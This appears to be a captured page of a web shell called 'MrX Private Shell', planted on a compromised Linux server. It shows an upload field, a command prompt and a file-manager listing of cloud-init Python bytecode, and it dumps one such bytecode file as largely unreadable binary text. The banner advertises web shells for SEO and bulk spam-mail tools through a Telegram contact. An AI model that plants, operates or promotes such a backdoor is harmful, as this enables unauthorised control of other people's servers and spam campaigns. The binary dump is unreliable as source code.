__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
�

x[h����SrSSKrSSKrSSKrSSKrSSKJr SSKJr SSK	J
r
 \R"\5r
S\4Sjr"SS	5rg)
z#A module for common socket helpers.�N)�suppress)�performance)�DEFAULT_RUN_DIR�messagec��[RRSS5nU(dgUSS:XaURSSS5 OUSS:wa[	S	5e[
R
"[
R[
R[
R-5n[RS
[U55 URU5 URURS55 SSS5 g!,(df   g=f)zSSend a sd_notify message.

:param message: sd-notify message (must be valid ascii)
�
NOTIFY_SOCKET�Nr�@���/zUnsupported socket typezSending sd_notify(%s)�ascii)�os�environ�get�replace�OSError�socket�AF_UNIX�
SOCK_DGRAM�SOCK_CLOEXEC�LOG�info�str�connect�sendall�encode)r�socket_path�socks   �2/usr/lib/python3/dist-packages/cloudinit/socket.py�	sd_notifyr!s���
�*�*�.�.��"�5�K���	�Q��3�	����C��q�)�
�Q��3�	��/�0�0�	�������)�)�F�,?�,?�?�
�	
����(�#�g�,�7����[�!����W�^�^�G�,�-�
�
�
�s
�AC8�8
Dc�@�\rSrSrSrS\4SjrS\4SjrSrSr	S	r
g
)�
SocketSync�*z<A two way synchronization protocol over Unix domain sockets.�namesc	�B�SUlSUlSUlSUlSUlUVs0sHHnU[
R
"[
R[
R[
R-5_MJ snUl	[R"[S3SSS9 URR5HPup#[SUS	3n[[5 [R "U5 S
S
S
5 UR#U5 MR g
s snf!,(df   N)=f)a6Initialize a synchronization context.

1) Ensure that the socket directory exists.
2) Bind a socket for each stage.

Binding the sockets on initialization allows receipt of stage
"start" notifications prior to the cloud-init stage being ready to
start.

:param names: stage names, used as a unique identifiers
r	rFz/sharei�T)�mode�exist_ok�/share/z.sockN)�stage�remote�first_exception�systemd_exit_code�experienced_any_errorrrrr�socketsr�makedirsr�itemsr�FileNotFoundError�remove�bind)�selfr%�namerrs     r �__init__�SocketSync.__init__-s�����
����!���!"���%*��"�
�	
���
�&�-�-����� 1� 1�F�4G�4G� G��
��	
���	����'�v�.�U�T�J��,�,�,�,�.�J�D�,�-�W�T�F�%�@�K��+�,��	�	�+�&�-��I�I�k�"�	/��
�-�,�s�AD�D�
D	r*c�L�XR;a[SU35eXlU$)a>Set the stage before entering context.

This enables the context manager to be initialized separately from
each stage synchronization.

:param stage: the name of a stage to synchronize

Example:
    sync = SocketSync("stage 1", "stage 2"):
    with sync("stage 1"):
        pass
    with sync("stage 2"):
        pass
zInvalid stage name: )r/�
ValueErrorr*)r5r*s  r �__call__�SocketSync.__call__Ms+�����$��3�E�7�;�<�<��
���c��[R"[RR	55(a[
R
S5 gSUl[SURS35 URURn[R"SUR35 URS5uo lSSS5 SW:wa+URSSS5 [!S	[#U5S
35e[$SURS3[#UR5:wa+URSSS5 [!S
UR35e[SURS35 U$!,(df   N�=f)zwWait until a message has been received on this stage's socket.

Once the message has been received, enter the context.
z:Stdin is a tty, so skipping stage synchronization protocolNrzDSTATUS=Waiting on external services to complete before starting the z stage.zWaiting to start stage �sstartzReceived invalid message: [�]r)z-return.sockz Unexpected path to unix socket: zSTATUS=Running (z stage))r�isatty�sys�stdin�filenorrr-r!r*r/r�Timed�recvfromr+�__exit__r:rr)r5r�chunks   r �	__enter__�SocketSync.__enter__asK��
�9�9�S�Y�Y�%�%�'�(�(��H�H�L�
�
�!"����
,�,0�J�J�<�w�
@�	
��|�|�D�J�J�'��
�
�
�!8�����E�
F�!%���q�!1��E�;�G��u���M�M�$��d�+��:�3�u�:�,�a�H�I�I�� ���
�
�|�<�
@�C��K�K�E
�
�

�M�M�$��d�+��?����}�M�N�N��$�T�Z�Z�L��8�9���!G�
F�s�*E/�/
E=c�:�SUR3nU(adSUlSUl[U5SUR3nSnUR
(dXPl[RU5 [SU35 UR=(d [UR5UlURURnURUR5 URSUSURS	3R55 UR5 g)
z.Notify the socket that this stage is complete.z,Completed socket interaction for boot stage rTz in zkfatal error, run "systemctl status cloud-init-main.service" and "cloud-init status --long" for more detailszSTATUS=zecho 'z'; exit �;)r*r-r.�repr�tb_framer,r�fatalr!�boolr/rr+rr�close)r5�exc_type�exc_val�exc_tbr�statusrs       r rG�SocketSync.__exit__�s���@�����M���%&�D�"�)-�D�&��W�
��d�6�?�?�*;�<�F�B�
��'�'�'-�$��I�I�f�����x�(�)�%)�%?�%?�&
�4��"�"�D
��"��|�|�D�J�J�'�����T�[�[�!�
	
����W�I�X�d�&<�&<�%=�Q�?�F�F�H�	
�	
�
�
��r=)r.r,r+r/r*r-N)�__name__�
__module__�__qualname__�__firstlineno__�__doc__rr7r;rIrG�__static_attributes__�r=r r#r#*s)��F�#�s�#�@�c��(%�N#r=r#)r[�loggingrrrB�
contextlibr�	cloudinitr�cloudinit.settingsr�	getLoggerrWrrr!r#r]r=r �<module>rcsE��)��	�
�
��!�.�
����!��.�s�.�6A�Ar=

Filemanager

Name Type Size Permission Actions
__init__.cpython-313.pyc File 149 B 0644
apport.cpython-313.pyc File 9.96 KB 0644
atomic_helper.cpython-313.pyc File 4.39 KB 0644
cloud.cpython-313.pyc File 4.96 KB 0644
dmi.cpython-313.pyc File 9.85 KB 0644
event.cpython-313.pyc File 2.56 KB 0644
features.cpython-313.pyc File 1.85 KB 0644
gpg.cpython-313.pyc File 9.41 KB 0644
helpers.cpython-313.pyc File 21.72 KB 0644
importer.cpython-313.pyc File 2.82 KB 0644
lifecycle.cpython-313.pyc File 10.41 KB 0644
netinfo.cpython-313.pyc File 24.76 KB 0644
performance.cpython-313.pyc File 4.42 KB 0644
persistence.cpython-313.pyc File 3.04 KB 0644
registry.cpython-313.pyc File 1.86 KB 0644
safeyaml.cpython-313.pyc File 12.13 KB 0644
settings.cpython-313.pyc File 1.25 KB 0644
signal_handler.cpython-313.pyc File 5.39 KB 0644
simpletable.cpython-313.pyc File 3.36 KB 0644
socket.cpython-313.pyc File 7.08 KB 0644
ssh_util.cpython-313.pyc File 25.03 KB 0644
stages.cpython-313.pyc File 47.25 KB 0644
subp.cpython-313.pyc File 15.1 KB 0644
temp_utils.cpython-313.pyc File 3.96 KB 0644
templater.cpython-313.pyc File 9.34 KB 0644
type_utils.cpython-313.pyc File 755 B 0644
url_helper.cpython-313.pyc File 43.18 KB 0644
user_data.cpython-313.pyc File 13.78 KB 0644
util.cpython-313.pyc File 111.33 KB 0644
version.cpython-313.pyc File 576 B 0644
warnings.cpython-313.pyc File 4.48 KB 0644
Filemanager